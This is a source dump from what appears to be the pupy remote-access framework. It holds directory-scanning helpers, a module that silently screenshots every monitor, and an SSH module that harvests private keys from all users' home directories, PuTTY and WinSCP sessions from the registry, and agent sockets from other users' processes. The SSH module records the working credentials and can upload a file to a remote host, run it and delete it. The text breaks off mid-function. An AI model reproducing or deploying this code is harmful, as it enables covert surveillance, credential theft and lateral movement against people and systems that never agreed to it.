FILE_ATTRIBUTE_HIDDEN = 2
FILE_ATTRIBUTE_INTEGRITY_STREAM = 32768
FILE_ATTRIBUTE_NORMAL = 128
FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 8192
FILE_ATTRIBUTE_NO_SCRUB_DATA = 131072
FILE_ATTRIBUTE_OFFLINE = 4096
FILE_ATTRIBUTE_READONLY = 1
FILE_ATTRIBUTE_REPARSE_POINT = 1024
FILE_ATTRIBUTE_SPARSE_FILE = 512
FILE_ATTRIBUTE_SYSTEM = 4
FILE_ATTRIBUTE_TEMPORARY = 256
FILE_ATTRIBUTE_VIRTUAL = 65536

IS_PY3 = sys.version_info >= (3, 0)

if IS_PY3:
    unicode = str  # Because Python <= 3.2 doesn't have u'unicode' syntax


class GenericDirEntry(object):
    __slots__ = ('name', '_stat', '_lstat', '_scandir_path', '_path')

    def __init__(self, scandir_path, name):
        self._scandir_path = scandir_path
        self.name = name
        self._stat = None
        self._lstat = None
        self._path = None

    @property
    def path(self):
        if self._path is None:
            self._path = join(self._scandir_path, self.name)
        return self._path

    def stat(self, follow_symlinks=True):
        if follow_symlinks:
            if self._stat is None:
                self._stat = stat(self.path)
            return self._stat
        else:
            if self._lstat is None:
                self._lstat = lstat(self.path)
            return self._lstat

    def is_dir(self, follow_symlinks=True):
        try:
            st = self.stat(follow_symlinks=follow_symlinks)
        except OSError as e:
            if e.errno != ENOENT:
                raise
            return False  # Path doesn't exist or is a broken symlink
        return st.st_mode & 0o170000 == S_IFDIR

    def is_file(self, follow_symlinks=True):
        try:
            st = self.stat(follow_symlinks=follow_symlinks)
        except OSError as e:
            if e.errno != ENOENT:
                raise
            return False  # Path doesn't exist or is a broken symlink
        return st.st_mode & 0o170000 == S_IFREG

    def is_symlink(self):
        try:
            st = self.stat(follow_symlinks=False)
        except OSError as e:
            if e.errno != ENOENT:
                raise
            return False  # Path doesn't exist or is a broken symlink
        return st.st_mode & 0o170000 == S_IFLNK

    def inode(self):
        st = self.stat(follow_symlinks=False)
        return st.st_ino

    def __str__(self):
        return '<{0}: {1!r}>'.format(self.__class__.__name__, self.name)

    __repr__ = __str__


def _scandir_generic(path=unicode('.')):
    """Like os.listdir(), but yield DirEntry objects instead of returning
    a list of names.
    """
    for name in listdir(path):
        yield GenericDirEntry(path, name)


if IS_PY3 and sys.platform == 'win32':
    def scandir_generic(path=unicode('.')):
        if isinstance(path, bytes):
            raise TypeError("os.scandir() doesn't support bytes path on Windows, use Unicode instead")
        return _scandir_generic(path)
    scandir_generic.__doc__ = _scandir_generic.__doc__
else:
    scandir_generic = _scandir_generic


scandir_c = None
scandir_python = None


if sys.platform == 'win32':
    if ctypes is not None:
        from ctypes import wintypes

        # Various constants from windows.h
        INVALID_HANDLE_VALUE = ctypes.c_void_p(-1).value
        ERROR_FILE_NOT_FOUND = 2
        ERROR_NO_MORE_FILES = 18
        IO_REPARSE_TAG_SYMLINK = 0xA000000C

        # Numer of seconds between 1601-01-01 and 1970-01-01
        SECONDS_BETWEEN_EPOCHS = 11644473600

        kernel32 = ctypes.windll.kernel32

        # ctypes wrappers for (wide string versions of) FindFirstFile,
        # FindNextFile, and FindClose
        FindFirstFile = kernel32.FindFirstFileW
        FindFirstFile.argtypes = [
            wintypes.LPCWSTR,
            ctypes.POINTER(wintypes.WIN32_FIND_DATAW),
        ]
        FindFirstFile.restype = wintypes.HANDLE

        FindNextFile = kernel32.FindNextFileW
        FindNextFile.argtypes = [
            wintypes.HANDLE,
            ctypes.POINTER(wintypes.WIN32_FIND_DATAW),
        ]
        FindNextFile.restype = wintypes.BOOL

        FindClose = kernel32.FindClose
        FindClose.argtypes = [wintypes.HANDLE]
        FindClose.restype = wintypes.BOOL

        Win32StatResult = collections.namedtuple('Win32StatResult', [
            'st_mode',
            'st_ino',
            'st_dev',
            'st_nlink',
            'st_uid',
            'st_gid',
            'st_size',
            'st_atime',
            'st_mtime',
            'st_ctime',
            'st_atime_ns',
            'st_mtime_ns',
            'st_ctime_ns',
            'st_file_attributes',
        ])

        def filetime_to_time(filetime):
            """Convert Win32 FILETIME to time since Unix epoch in seconds."""
            total = filetime.dwHighDateTime << 32 | filetime.dwLowDateTime
            return total // 10000000 - SECONDS_BETWEEN_EPOCHS

        def find_data_to_stat(data):
            """Convert Win32 FIND_DATA struct to stat_result."""
            # First convert Win32 dwFileAttributes to st_mode
            attributes = data.dwFileAttributes
            st_mode = 0
            if attributes & FILE_ATTRIBUTE_DIRECTORY:
                st_mode |= S_IFDIR | 0o111
            else:
                st_mode |= S_IFREG
            if attributes & FILE_ATTRIBUTE_READONLY:
                st_mode |= 0o444
            else:
                st_mode |= 0o666
            if (attributes & FILE_ATTRIBUTE_REPARSE_POINT and \
                    data.dwReserved0 == IO_REPARSE_TAG_SYMLINK):
                st_mode ^= st_mode & 0o170000
                st_mode |= S_IFLNK

            st_size = data.nFileSizeHigh << 32 | data.nFileSizeLow
            st_atime = filetime_to_time(data.ftLastAccessTime)
            st_mtime = filetime_to_time(data.ftLastWriteTime)
            st_ctime = filetime_to_time(data.ftCreationTime)

            # Some fields set to zero per CPython's posixmodule.c: st_ino, st_dev,
            # st_nlink, st_uid, st_gid
            return Win32StatResult(st_mode, 0, 0, 0, 0, 0, st_size,
                                   st_atime, st_mtime, st_ctime,
                                   int(st_atime * 1000000000),
                                   int(st_mtime * 1000000000),
                                   int(st_ctime * 1000000000),
                                   attributes)

        class Win32DirEntryPython(object):
            __slots__ = ('name', '_stat', '_lstat', '_find_data', '_scandir_path', '_path', '_inode')

            def __init__(self, scandir_path, name, find_data):
                self._scandir_path = scandir_path
                self.name = name
                self._stat = None
                self._lstat = None
                self._find_data = find_data
                self._path = None
                self._inode = None

            @property
            def path(self):
                if self._path is None:
                    self._path = join(self._scandir_path, self.name)
                return self._path

            def stat(self, follow_symlinks=True):
                if follow_symlinks:
                    if self._stat is None:
                        if self.is_symlink():
                            # It's a symlink, call link-following stat()
                            self._stat = stat(self.path)
                        else:
                            # Not a symlink, stat is same as lstat value
                            if self._lstat is None:
                                self._lstat = find_data_to_stat(self._find_data)
                            self._stat = self._lstat
                    return self._stat
                else:
                    if self._lstat is None:
                        # Lazily convert to stat object, because it's slow
                        # in Python, and often we only need is_dir() etc
                        self._lstat = find_data_to_stat(self._find_data)
                    return self._lstat

            def is_dir(self, follow_symlinks=True):
                is_symlink = self.is_symlink()
                if follow_symlinks and is_symlink:
                    try:
                        return self.stat().st_mode & 0o170000 == S_IFDIR
                    except OSError as e:
                        if e.errno != ENOENT:
                            raise
                        return False
                elif is_symlink:
                    return False
                else:
                    return (
                        self._find_data.dwFileAttributes & \
                        FILE_ATTRIBUTE_DIRECTORY != 0)

            def is_file(self, follow_symlinks=True):
                is_symlink = self.is_symlink()
                if follow_symlinks and is_symlink:
                    try:
                        return self.stat().st_mode & 0o170000 == S_IFREG
                    except OSError as e:
                        if e.errno != ENOENT:
                            raise
                        return False
                elif is_symlink:
                    return False
                else:
                    return (self._find_data.dwFileAttributes & \
                            FILE_ATTRIBUTE_DIRECTORY == 0)

            def is_symlink(self):
                return (self._find_data.dwFileAttributes & \
                        FILE_ATTRIBUTE_REPARSE_POINT != 0 and \
                        self._find_data.dwReserved0 == IO_REPARSE_TAG_SYMLINK)

            def inode(self):
                if self._inode is None:
                    self._inode = lstat(self.path).st_ino
                return self._inode

            def __str__(self):
                return '<{0}: {1!r}>'.format(self.__class__.__name__, self.name)

            __repr__ = __str__

        def win_error(error, filename):
            exc = WindowsError(error, ctypes.FormatError(error))
            exc.filename = filename
            return exc

        def _scandir_python(path=unicode('.')):
            """Like os.listdir(), but yield DirEntry objects instead of returning
            a list of names.
            """
            # Call FindFirstFile and handle errors
            if isinstance(path, bytes):
                is_bytes = True
                filename = join(path.decode('mbcs', 'strict'), '*.*')
            else:
                is_bytes = False
                filename = join(path, '*.*')
            data = wintypes.WIN32_FIND_DATAW()
            data_p = ctypes.byref(data)
            handle = FindFirstFile(filename, data_p)
            if handle == INVALID_HANDLE_VALUE:
                error = ctypes.GetLastError()
                if error == ERROR_FILE_NOT_FOUND:
                    # No files, don't yield anything
                    return
                raise win_error(error, path)

            # Call FindNextFile in a loop, stopping when no more files
            try:
                while True:
                    # Skip '.' and '..' (current and parent directory), but
                    # otherwise yield (filename, stat_result) tuple
                    name = data.cFileName
                    if name not in ('.', '..'):
                        if is_bytes:
                            name = name.encode('mbcs', 'replace')
                        yield Win32DirEntryPython(path, name, data)

                    data = wintypes.WIN32_FIND_DATAW()
                    data_p = ctypes.byref(data)
                    success = FindNextFile(handle, data_p)
                    if not success:
                        error = ctypes.GetLastError()
                        if error == ERROR_NO_MORE_FILES:
                            break
                        raise win_error(error, path)
            finally:
                if not FindClose(handle):
                    raise win_error(ctypes.GetLastError(), path)

        if IS_PY3:
            def scandir_python(path=unicode('.')):
                if isinstance(path, bytes):
                    raise TypeError("os.scandir() doesn't support bytes path on Windows, use Unicode instead")
                return _scandir_python(path)
            scandir_python.__doc__ = _scandir_python.__doc__
        else:
            scandir_python = _scandir_python

    if _scandir is not None:
        scandir_c = _scandir.scandir

    if _scandir is not None:
        scandir = scandir_c
    elif ctypes is not None:
        scandir = scandir_python
    else:
        scandir = scandir_generic


# Linux, OS X, and BSD implementation
elif sys.platform.startswith(('linux', 'darwin', 'sunos5')) or 'bsd' in sys.platform:
    have_dirent_d_type = (sys.platform != 'sunos5')

    if ctypes is not None and have_dirent_d_type:
        import ctypes.util

        DIR_p = ctypes.c_void_p

        # Rather annoying how the dirent struct is slightly different on each
        # platform. The only fields we care about are d_name and d_type.
        class Dirent(ctypes.Structure):
            if sys.platform.startswith('linux'):
                _fields_ = (
                    ('d_ino', ctypes.c_ulong),
                    ('d_off', ctypes.c_long),
                    ('d_reclen', ctypes.c_ushort),
                    ('d_type', ctypes.c_byte),
                    ('d_name', ctypes.c_char * 256),
                )
            else:
                _fields_ = (
                    ('d_ino', ctypes.c_uint32),  # must be uint32, not ulong
                    ('d_reclen', ctypes.c_ushort),
                    ('d_type', ctypes.c_byte),
                    ('d_namlen', ctypes.c_byte),
                    ('d_name', ctypes.c_char * 256),
                )

        DT_UNKNOWN = 0
        DT_DIR = 4
        DT_REG = 8
        DT_LNK = 10

        Dirent_p = ctypes.POINTER(Dirent)
        Dirent_pp = ctypes.POINTER(Dirent_p)

        libc = ctypes.CDLL(ctypes.util.find_library('c'), use_errno=True)
        opendir = libc.opendir
        opendir.argtypes = [ctypes.c_char_p]
        opendir.restype = DIR_p

        readdir_r = libc.readdir_r
        readdir_r.argtypes = [DIR_p, Dirent_p, Dirent_pp]
        readdir_r.restype = ctypes.c_int

        closedir = libc.closedir
        closedir.argtypes = [DIR_p]
        closedir.restype = ctypes.c_int

        file_system_encoding = sys.getfilesystemencoding()

        class PosixDirEntry(object):
            __slots__ = ('name', '_d_type', '_stat', '_lstat', '_scandir_path', '_path', '_inode')

            def __init__(self, scandir_path, name, d_type, inode):
                self._scandir_path = scandir_path
                self.name = name
                self._d_type = d_type
                self._inode = inode
                self._stat = None
                self._lstat = None
                self._path = None

            @property
            def path(self):
                if self._path is None:
                    self._path = join(self._scandir_path, self.name)
                return self._path

            def stat(self, follow_symlinks=True):
                if follow_symlinks:
                    if self._stat is None:
                        if self.is_symlink():
                            self._stat = stat(self.path)
                        else:
                            if self._lstat is None:
                                self._lstat = lstat(self.path)
                            self._stat = self._lstat
                    return self._stat
                else:
                    if self._lstat is None:
                        self._lstat = lstat(self.path)
                    return self._lstat

            def is_dir(self, follow_symlinks=True):
                if (self._d_type == DT_UNKNOWN or \
                        (follow_symlinks and self.is_symlink())):
                    try:
                        st = self.stat(follow_symlinks=follow_symlinks)
                    except OSError as e:
                        if e.errno != ENOENT:
                            raise
                        return False
                    return st.st_mode & 0o170000 == S_IFDIR
                else:
                    return self._d_type == DT_DIR

            def is_file(self, follow_symlinks=True):
                if (self._d_type == DT_UNKNOWN or \
                        (follow_symlinks and self.is_symlink())):
                    try:
                        st = self.stat(follow_symlinks=follow_symlinks)
                    except OSError as e:
                        if e.errno != ENOENT:
                            raise
                        return False
                    return st.st_mode & 0o170000 == S_IFREG
                else:
                    return self._d_type == DT_REG

            def is_symlink(self):
                if self._d_type == DT_UNKNOWN:
                    try:
                        st = self.stat(follow_symlinks=False)
                    except OSError as e:
                        if e.errno != ENOENT:
                            raise
                        return False
                    return st.st_mode & 0o170000 == S_IFLNK
                else:
                    return self._d_type == DT_LNK

            def inode(self):
                return self._inode

            def __str__(self):
                return '<{0}: {1!r}>'.format(self.__class__.__name__, self.name)

            __repr__ = __str__

        def posix_error(filename):
            errno = ctypes.get_errno()
            exc = OSError(errno, strerror(errno))
            exc.filename = filename
            return exc

        def scandir_python(path=unicode('.')):
            """Like os.listdir(), but yield DirEntry objects instead of returning
            a list of names.
            """
            if isinstance(path, bytes):
                opendir_path = path
                is_bytes = True
            else:
                opendir_path = path.encode(file_system_encoding)
                is_bytes = False
            dir_p = opendir(opendir_path)
            if not dir_p:
                raise posix_error(path)
            try:
                result = Dirent_p()
                while True:
                    entry = Dirent()
                    if readdir_r(dir_p, entry, result):
                        raise posix_error(path)
                    if not result:
                        break
                    name = entry.d_name
                    if name not in (b'.', b'..'):
                        if not is_bytes:
                            name = name.decode(file_system_encoding)
                        yield PosixDirEntry(path, name, entry.d_type, entry.d_ino)
            finally:
                if closedir(dir_p):
                    raise posix_error(path)

    if _scandir is not None:
        scandir_c = _scandir.scandir

    if _scandir is not None:
        scandir = scandir_c
    elif ctypes is not None:
        scandir = scandir_python
    else:
        scandir = scandir_generic


# Some other system -- no d_type or stat information
else:
    scandir = scandir_generic


def _walk(top, topdown=True, onerror=None, followlinks=False):
    """Like Python 3.5's implementation of os.walk() -- faster than
    the pre-Python 3.5 version as it uses scandir() internally.
    """
    dirs = []
    nondirs = []

    # We may not have read permission for top, in which case we can't
    # get a list of the files the directory contains.  os.walk
    # always suppressed the exception then, rather than blow up for a
    # minor reason when (say) a thousand readable directories are still
    # left to visit.  That logic is copied here.
    try:
        scandir_it = scandir(top)
    except OSError as error:
        if onerror is not None:
            onerror(error)
        return

    while True:
        try:
            try:
                entry = next(scandir_it)
            except StopIteration:
                break
        except OSError as error:
            if onerror is not None:
                onerror(error)
            return

        try:
            is_dir = entry.is_dir()
        except OSError:
            # If is_dir() raises an OSError, consider that the entry is not
            # a directory, same behaviour than os.path.isdir().
            is_dir = False

        if is_dir:
            dirs.append(entry.name)
        else:
            nondirs.append(entry.name)

        if not topdown and is_dir:
            # Bottom-up: recurse into sub-directory, but exclude symlinks to
            # directories if followlinks is False
            if followlinks:
                walk_into = True
            else:
                try:
                    is_symlink = entry.is_symlink()
                except OSError:
                    # If is_symlink() raises an OSError, consider that the
                    # entry is not a symbolic link, same behaviour than
                    # os.path.islink().
                    is_symlink = False
                walk_into = not is_symlink

            if walk_into:
                for entry in walk(entry.path, topdown, onerror, followlinks):
                    yield entry

    # Yield before recursion if going top down
    if topdown:
        yield top, dirs, nondirs

        # Recurse into sub-directories
        for name in dirs:
            new_path = join(top, name)
            # Issue #23605: os.path.islink() is used instead of caching
            # entry.is_symlink() result during the loop on os.scandir() because
            # the caller can replace the directory entry during the "yield"
            # above.
            if followlinks or not islink(new_path):
                for entry in walk(new_path, topdown, onerror, followlinks):
                    yield entry
    else:
        # Yield after recursion if going bottom up
        yield top, dirs, nondirs


if IS_PY3 or sys.platform != 'win32':
    walk = _walk
else:
    # Fix for broken unicode handling on Windows on Python 2.x, see:
    # https://github.com/benhoyt/scandir/issues/54
    file_system_encoding = sys.getfilesystemencoding()

    def walk(top, topdown=True, onerror=None, followlinks=False):
        if isinstance(top, bytes):
            top = top.decode(file_system_encoding)
        return _walk(top, topdown, onerror, followlinks)


================================================
FILE: pupy/packages/all/screenshot.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import mss
from png import bmp_to_png

def screens():
    screenshoter = mss.mss()
    monitors = screenshoter.monitors
    return monitors[1:] if len(monitors) > 1 else monitors

def screenshot(screen=None):
    screenshoter = mss.mss()
    screenshots = []

    monitors = screens()
    if len(monitors) == 0:
        return None

    if screen is not None:
        if screen >= len(monitors):
            return None, 'the screen id does not exist'
        else:
            monitors = [monitors[screen]]

    for monitor in monitors:
        scr = screenshoter.grab(monitor)
        screenshots.append(
            bmp_to_png(scr.rgb, scr.width, scr.height)
        )

    return screenshots, None


================================================
FILE: pupy/packages/all/ssh.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

__all__ = (
    'SSHNotConnected', 'SSH',
    'ssh_interactive',
    'ssh_exec', 'ssh_hosts',
    'ssh_upload_file',
    'ssh_download_file', 'ssh_download_tar'
)

from threading import Thread, Event
from io import open, BytesIO

from psutil import process_iter

from os import path, walk, environ
from getpass import getuser

from paramiko import SSHClient, Transport
from paramiko.client import AutoAddPolicy
from paramiko.config import SSHConfig
from paramiko.ssh_exception import (
    SSHException, NoValidConnectionsError
)

from paramiko.dsskey import DSSKey
from paramiko.rsakey import RSAKey
from paramiko.ecdsakey import ECDSAKey

from urllib import unquote

from sys import getfilesystemencoding, version_info

from traceback import format_exc

try:
    from puttykeys import ppkraw_to_openssh
except ImportError:
    def ppkraw_to_openssh(x):
        return None

try:
    import gssapi
    GSSAPI_MIC_SUPPORT = getattr(
        gssapi, 'GSSAPI_MIC_SUPPORT', True)

except ImportError:
    GSSAPI_MIC_SUPPORT = False

try:
    from paramiko.ed25519key import Ed25519Key
except ImportError:
    Ed25519Key = None

from netaddr import (IPNetwork, AddrFormatError)

if version_info.major > 2:
    from urllib.parse import urlparse
else:
    from urlparse import urlparse

from socket import error as socket_error, gaierror
from hashlib import md5
from base64 import b64encode

from pupy.network.lib.scan import scanthread_parse
from pupy.network.lib.netcreds import add_cred, find_creds
from pupy.network.lib.pupyrpc import nowait
from pupy.network.lib.convcompat import (
    as_unicode_string, as_native_string
)

Transport._CLIENT_ID = 'OpenSSH'

try:
    from pupy.agent import obtain

except ImportError:
    def obtain(x):
        return x


class SSHNotConnected(Exception):
    pass


KEY_CLASSES = [RSAKey, ECDSAKey, DSSKey]
if Ed25519Key:
    KEY_CLASSES.append(Ed25519Key)


try:
    from _winreg import (
        OpenKey, CloseKey, EnumKey, EnumValue, HKEY_USERS
    )
    from ctypes import (
        WinDLL, POINTER, byref, GetLastError,
        create_unicode_buffer, c_void_p
    )
    from ctypes.wintypes import (
        LPSTR, LPWSTR, DWORD, BOOL
    )

    LPDWORD = POINTER(DWORD)
    PVOID = c_void_p

    REG_PATHS = [
       r'\Software\SimonTatham\PuTTY\Sessions',
       r'\Software\Martin Prikryl\WinSCP 2\Sessions'
    ]

    PROPERTIES_MAPPING = {
       'hostname': 'hostname',
       'portnumber': 'port',
       'username': 'user',
       'publickeyfile': 'identityfile'
    }

    advapi32 = WinDLL('advapi32', use_last_error=True)
    kernel32 = WinDLL('kernel32', use_last_error=False)

    _LookupAccountSidW = advapi32.LookupAccountSidW
    _LookupAccountSidW.argtypes = (
        LPSTR, PVOID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD
    )
    _LookupAccountSidW.restype = BOOL

    _ConvertStringSidToSid = advapi32.ConvertStringSidToSidA
    _ConvertStringSidToSid.argtypes = [LPSTR, PVOID]
    _ConvertStringSidToSid.restype = BOOL

    _LocalFree = kernel32.LocalFree
    _LocalFree.argtypes = [PVOID]

    # From LaZagne
    def LookupAccountSidW(lpSid):
        # From https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/win32/advapi32.py

        PSID = PVOID()
        if not _ConvertStringSidToSid(lpSid, byref(PSID)):
            return None, None, None

        ERROR_INSUFFICIENT_BUFFER = 122
        cchName = DWORD(0)
        cchReferencedDomainName = DWORD(0)
        peUse = DWORD(0)
        success = _LookupAccountSidW(
            None, PSID, None, byref(cchName),
            None, byref(cchReferencedDomainName), byref(peUse))

        error = GetLastError()
        if not success or error == ERROR_INSUFFICIENT_BUFFER:
            lpName = create_unicode_buffer(u'', cchName.value + 1)
            lpReferencedDomainName = create_unicode_buffer(
                u'', cchReferencedDomainName.value + 1)

            success = _LookupAccountSidW(
                None, PSID, lpName, byref(cchName),
                lpReferencedDomainName, byref(cchReferencedDomainName),
                byref(peUse)
            )

            if success:
                return lpName.value, lpReferencedDomainName.value, peUse.value

        _LocalFree(PSID)
        return None, None, None

    def bin_decode(value):
        try:
            if value.startswith('\xEF\xBB\xBF'):
                return value[3:].decode('utf-8')
            elif value.startswith('\xFE\xFF'):
                return value[2:].decode('utf-16be')
            elif value.startswith('\xFF\xFE'):
                return value[2:].decode('utf-16le')
            elif value.startswith('\x00\x00\xFE\xFF'):
                return value[4:].decode('utf-32be')
            elif value.startswith('\xFF\xFE\x00\x00'):
                return value[2:].decode('utf-32le')
            else:
                return value.decode(getfilesystemencoding())
        except UnicodeDecodeError:
            return 'bad:'+value

    def extract_info(key):
        try:
            h = OpenKey(HKEY_USERS, key)
        except WindowsError:
            return {}

        alias = key.split('\\')[-1]

        info = {}

        if '@' in alias:
            user, alias = alias.split('@', 1)
            info['user'] = user
            if ':' in alias:
                maybe_alias, maybe_port = alias.rsplit(':', 1)
                try:
                    maybe_port = int(maybe_port)
                    if maybe_port > 0 and maybe_port < 65536:
                        alias = maybe_alias
                        info['port'] = maybe_port

                except ValueError:
                    pass

            info['hostname'] = alias
        elif alias == 'Default%20Settings':
            alias = '*'

        try:
            idx = 0
            while True:
                try:
                    name, value, _ = EnumValue(h, idx)
                except WindowsError:
                    break

                if isinstance(value, basestring):
                    new_value = unquote(value)
                    if new_value != value:
                        if not isinstance(new_value, bytes):
                            try:
                                new_value = new_value.encode('latin1')
                                value = bin_decode(new_value)
                            except UnicodeEncodeError:
                                value = new_value

                name = name.lower()
                if name in PROPERTIES_MAPPING:
                    if name == 'publickeyfile':
                        info[PROPERTIES_MAPPING[name]] = [value]
                    else:
                        info[PROPERTIES_MAPPING[name]] = value

                idx += 1

        finally:
            CloseKey(h)

        if info and (alias == '*' or info.get('hostname')):
            return {alias: info}

        return {}

    def ssh_putty_hosts():
        results = {}

        try:
            h = OpenKey(HKEY_USERS, '')
        except WindowsError:
            return

        idx = 0

        try:
            while True:
                user = EnumKey(h, idx)

                username, domain, _ = LookupAccountSidW(user)

                if username is None:
                    username = user
                    if domain:
                        user = domain + '\\' + user

                for reg_path in REG_PATHS:
                    try:
                        sessions = user + reg_path
                        h2 = OpenKey(HKEY_USERS, sessions)
                    except WindowsError:
                        continue

                    try:
                        idx2 = 0
                        while True:
                            session = EnumKey(h2, idx2)
                            record = extract_info(sessions + '\\' + session)
                            if record:
                                if username not in results:
                                    results[username] = {}

                                results[username].update(record)

                            idx2 += 1
                    except WindowsError:
                        pass

                    finally:
                        CloseKey(h2)

                idx += 1

        except WindowsError:
            return results

        finally:
            CloseKey(h)

except ImportError:
    def ssh_putty_hosts():
        return {}


def ssh_hosts():
    paths = []
    configs = {}

    try:
        import pwd
        for pw in pwd.getpwall():
            config_path = path.join(pw.pw_dir, '.ssh', 'config')
            if path.isfile(config_path):
                paths.append((
                    as_unicode_string(pw.pw_name),
                    as_unicode_string(config_path)
                ))

    except ImportError:
        config_path = path.expanduser(path.join('~', '.ssh', 'config'))
        if path.isfile(config_path):
            import getpass
            paths = [(
                as_unicode_string(getpass.getuser()),
                as_unicode_string(config_path)
            )]

    for user, config_path in paths:
        ssh_config = SSHConfig()
        try:
            with open(config_path) as config:
                ssh_config.parse(config)

        except OSError:
            continue

        configs[user] = {
            as_unicode_string(host): ssh_config.lookup(host)
            for host in ssh_config.get_hostnames()
        }

    configs.update(ssh_putty_hosts())

    return configs


class SSH(object):
    __slots__ = (
        'user', 'passwords', 'key_passwords', 'private_key',
        'host', 'port', 'timeout',
        '_client', '_iter_private_keys',
        '_success_args', '_ssh_hosts',
        '_interactive'
    )

    def __init__(self, host, port=22, user=None, passwords=None, key_passwords=None, private_keys=None,
                 private_key_path=None, interactive=False, timeout=None):
        self.host = host
        self.port = port
        self.user = user
        self.timeout  = timeout
        self.passwords = passwords
        self.key_passwords = key_passwords

        self._interactive = interactive

        self._client = None
        self._success_args = None

        self._ssh_hosts = ssh_hosts()

        for user, hosts in self._ssh_hosts.items():
            for alias, config in hosts.items():
                if self.host in (alias, config.get('hostname')):
                    if self.user is not None and self.user != config.get('user', user):
                        continue

                    if 'hostname' in config:
                        self.host = config['hostname']

                    if 'port' in config:
                        self.port = int(config['port'])

                    self.user = config.get('user', user)

                    if 'identityfile' in config and not private_keys:
                        private_keys = []

                        identityfiles = config['identityfile']
                        if isinstance(identityfiles, basestring):
                            identityfiles = [identityfiles]

                        for identityfile in identityfiles:
                            try:
                                import pwd
                                user_home = pwd.getpwnam(user).pw_dir
                                identityfile = path.sep.join(
                                    x if x != '~' else user_home for x in path.split(identityfile)
                                )
                            except (ImportError, KeyError):
                                identityfile = path.expanduser(identityfile)

                            if not path.isfile(identityfile):
                                continue

                            with open(identityfile) as identityfile_obj:
                                private_keys.append((identityfile, identityfile_obj.read()))

                    break

        if private_keys:
            private_keys = [
                (None, key_data) if not type(key_data) == tuple else key_data
                    for key_data in private_keys
            ]
            self._iter_private_keys = iter(private_keys)
        else:
            self._iter_private_keys = self._find_private_keys_everywhere()

        if self.port is None:
            self.port = 22

        self._connect()
        if self.connected and self._success_args:
            add_cred(
                self.user, schema='ssh', port=self.port,
                hostname=self.host,
                agent_socket=self._success_args.get('agent_socket'),
                auto=self._success_args.get('auto'),
                pkey=self._success_args.get('pkey'),
                key_file=self._success_args.get('key_file'),
                key_passsword=self._success_args.get('key_password'),
            )

    @property
    def success_args(self):
        return tuple([self._success_args.get(x, None) for x in (
            'hostname', 'port', 'user', 'password', 'key_password', 'key',
            'key_file', 'agent_socket', 'auto', 'cached'
        )])

    def _find_agent_sockets(self):
        pairs = set()

        if 'SSH_AUTH_SOCK' in environ and environ['SSH_AUTH_SOCK']:
            pair = (getuser(), environ['SSH_AUTH_SOCK'])

            pairs.add(pair)
            yield pair

        for process in process_iter():
            try:
                info = process.as_dict(['username', 'environ'])
            except OSError:
                continue

            if 'environ' not in info or info['environ'] is None:
                continue

            if 'SSH_AUTH_SOCK' in info.get('environ'):
                pair = (info.get('username'), info.get('environ').get('SSH_AUTH_SOCK'))
                if pair in pairs:
                    continue

                pairs.add(pair)

                yield pair

    def _find_private_keys_everywhere(self):
        try:
            import pwd
            for pw in pwd.getpwall():
                for key_record in self._find_private_keys(path.join(pw.pw_dir, '.ssh')):
                    yield key_record

        except ImportError:
            for key_record in self._find_private_keys(
                path.expanduser(path.join('~', '.ssh'))):
                yield key_record

    def _find_private_keys(self, fpath):
        if path.isfile(fpath):
            try:
                with open(fpath) as content:
                    yield fpath, content.read()

            except OSError:
                pass

            return

        for root, dirs, files in walk(fpath):
            for sfile in files:
                try:
                    sfile_path = path.join(root, sfile)
                    with open(sfile_path) as content:
                        first_line = content.readline(256)
                        if 'PRIVATE KEY-----' in first_line:
                            yield sfile_path, first_line + content.read()

                except (OSError, IOError):
                    pass

    @property
    def connected(self):
        return self._client is not None

    def _check_connected(self):
        if self._client is None:
            raise SSHNotConnected()

    def _oneway_upstream(self, session, reader_cb, stdout_cb, stderr_cb, on_exit=None):
        exit_status = None

        while True:
            while session.recv_ready():
                data = session.recv(65535)
                if data:
                    stdout_cb(data)

            while session.recv_stderr_ready():
                data = session.recv_stderr(65535)
                if data:
                    stderr_cb(data)

            if session.exit_status_ready():
                break

            portion, more = reader_cb()

            if portion:
                session.sendall(portion)

            if not more:
                session.shutdown_write()
                break

        while True:
            r, e, eof = self._poll_read(session)

            if r:
                while session.recv_ready():
                    data = session.recv(65535)
                    if data:
                        stdout_cb(data)

            if e:
                while session.recv_stderr_ready():
                    data = session.recv_stderr(65535)
                    if data:
                        stderr_cb(data)

            if eof:
                break

        while True:
            data = session.recv(65535)
            if data:
                stdout_cb(data)
            else:
                break

        while True:
            data = session.recv_stderr(65535)
            if data:
                stderr_cb(data)
            else:
                break

        exit_status = session.recv_exit_status()
        if on_exit:
            on_exit(exit_status)

        return exit_status

    def upload_file(self, reader_cb, remote_path, perm=0o755, rtouch=None,
                     chown=None, run=False, delete=False, append=False, cat='cat', completed_cb=None):

        self._check_connected()

        transport = self._client.get_transport()

        session = transport.open_session()

        commands = []

        if delete:
            commands.append('rm -f {}'.format(repr(remote_path)))

        commands.append(
            "{} {} {}".format(cat, '>>' if append else '>', repr(remote_path))
        )

        if rtouch:
            commands.append('touch -r {} {}'.format(repr(rtouch), repr(remote_path)))

        if chown:
            commands.append('chown {} {}'.format(repr(chown), repr(remote_path)))

        if perm and isinstance(perm, basestring):
            perm = int(perm, 8)

        commands.append('chmod {} {}'.format(oct(perm), repr(remote_path)))

        if run:
            commands.append('{}'.format(repr(remote_path)))

        if delete:
            commands.append('rm -f {}'.format(repr(remote_path)))

        command = ' && '.join(commands)

        session.exec_command(command)

        def _reader_cb():
            data = reader_cb(transport.default_max_packet_size - 1024)
            if data:
                return data, True
            else:
                return '', False

        stdout = BytesIO()
        stderr = BytesIO()

        exit_status = self._oneway_upstream(session, _reader_cb, stdout.write, stderr.write)

        if completed_cb:
            completed_cb(exit_status, stdout.getvalue(), stderr.getvalue())

        return stdout, stderr, exit_status

    def download_file(self, remote_path, write_cb, completed_cb=None, cat='cat'):
        self._check_connected()

        commands = [
            '([ -x {} ] && echo -n 1 || echo -n 0)'.format(repr(remote_path)),
            'cat {}'.format(repr(remote_path))
        ]

        command = ' && '.join(commands)

        first_byte = []
        size = [0]

        def _on_stdout(data):
            size[0] += len(data)

            if not first_byte:
                first_byte.append(data[0])
                if len(data) > 1:
